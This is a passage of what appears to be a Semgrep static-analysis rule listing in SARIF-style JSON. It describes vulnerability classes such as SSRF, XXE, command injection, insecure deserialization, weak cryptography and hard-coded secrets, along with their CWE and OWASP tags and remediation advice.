domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","id":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","name":"python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httplib2.tainted-fastapi-http-request-httplib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"help":{"markdown":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster)\n - [https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster](https://kubernetes.io/docs/reference/config-api/client-authentication.v1beta1/#client-authentication-k8s-io-v1beta1-Cluster)\n","text":"Cluster is disabling TLS certificate verification when communicating with the server. This makes your HTTPS connections insecure. Remove the 'insecure-skip-tls-verify: true' key to secure communication."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","id":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","name":"yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.skip-tls-verify-cluster.skip-tls-verify-cluster"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"help":{"markdown":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected a request using 'http://'. This request will be unencrypted, and attackers could listen into traffic on the network and be able to obtain sensitive information. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","id":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","name":"python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.requests.request-with-http.request-with-http"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"help":{"markdown":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content when spawning a process. This is dangerous because it allows a malicious actor to execute commands."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-spawn-process.dangerous-spawn-process","id":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","name":"python.lang.security.dangerous-spawn-process.dangerous-spawn-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-spawn-process.dangerous-spawn-process"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"help":{"markdown":"Ensure all Elasticsearch has node-to-node encryption enabled.\t\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure all Elasticsearch has node-to-node encryption enabled.\t"},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","id":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","name":"terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-nodetonode-encryption.aws-elasticsearch-nodetonode-encryption-not-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","id":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","name":"java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.deserialization.objectinputstream-deserialization-sls.objectinputstream-deserialization-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"help":{"markdown":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision)\n - [https://www.php.net/base_convert](https://www.php.net/base_convert)\n - [https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/](https://www.sjoerdlangkemper.nl/2017/03/15/dont-use-base-convert-on-random-tokens/)\n","text":"The function base_convert uses 64-bit numbers internally, and does not correctly convert large numbers. It is not suitable for random tokens such as those used for session tokens or CSRF tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.base-convert-loses-precision.base-convert-loses-precision","id":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","name":"php.lang.security.base-convert-loses-precision.base-convert-loses-precision","properties":{"precision":"very-high","tags":["CWE-190: Integer Overflow or Wraparound","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.base-convert-loses-precision.base-convert-loses-precision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n","text":"Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","id":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","name":"java.lang.security.audit.crypto.use-of-rc4.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks in XML Stylesheet (.xsl files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","id":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","name":"kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe-stylesheet.saxtransformerfactory-xxe-stylesheet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","id":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","name":"javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.knex.node-knex-hardcoded-secret.node-knex-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"help":{"markdown":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of an insecure SSL/TLS algorithm. This could allow an attacker to peform a man-in-the-middle-attack. Applications should prefer a secure algorithm such as TLS 1.2 or 1.3."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","id":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","name":"cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-insecure-required-version.openssl-insecure-required-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"help":{"markdown":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director)\n - [https://github.com/golang/go/issues/50580](https://github.com/golang/go/issues/50580)\n","text":"ReverseProxy can remove headers added by Director. Consider using ReverseProxy.Rewrite instead of ReverseProxy.Director."},"helpUri":"https://semgrep.dev/r/go.lang.security.reverseproxy-director.reverseproxy-director","id":"go.lang.security.reverseproxy-director.reverseproxy-director","name":"go.lang.security.reverseproxy-director.reverseproxy-director","properties":{"precision":"very-high","tags":["CWE-115: Misinterpretation of Input","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.reverseproxy-director.reverseproxy-director"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"help":{"markdown":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The `vm` module enables compiling and running code within V8 Virtual Machine contexts. The `vm` module is not a security mechanism. Do not use it to run untrusted code. If code passed to `vm` functions is controlled by user input it could result in command injection. Do not let user input in `vm` functions."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","id":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","name":"javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.vm-runincontext-injection.vm-runincontext-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"help":{"markdown":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Externally controlled data influences the filename of a dynamically loaded library. This could trigger arbitrary code execution."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","id":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","name":"cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path","properties":{"precision":"very-high","tags":["CWE-114: Process Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.libraries.dynamic-library-path.dynamic-library-path"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"certificate verification explicitly disabled, insecure connections possible"},"help":{"markdown":"certificate verification explicitly disabled, insecure connections possible\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"certificate verification explicitly disabled, insecure connections possible"},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","id":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","name":"python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.disabled-cert-validation.disabled-cert-validation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.superagent.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.superagent.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Square Access Token detected"},"help":{"markdown":"Square Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Square Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-square-access-token.detected-square-access-token","id":"generic.secrets.security.detected-square-access-token.detected-square-access-token","name":"generic.secrets.security.detected-square-access-token.detected-square-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-square-access-token.detected-square-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. 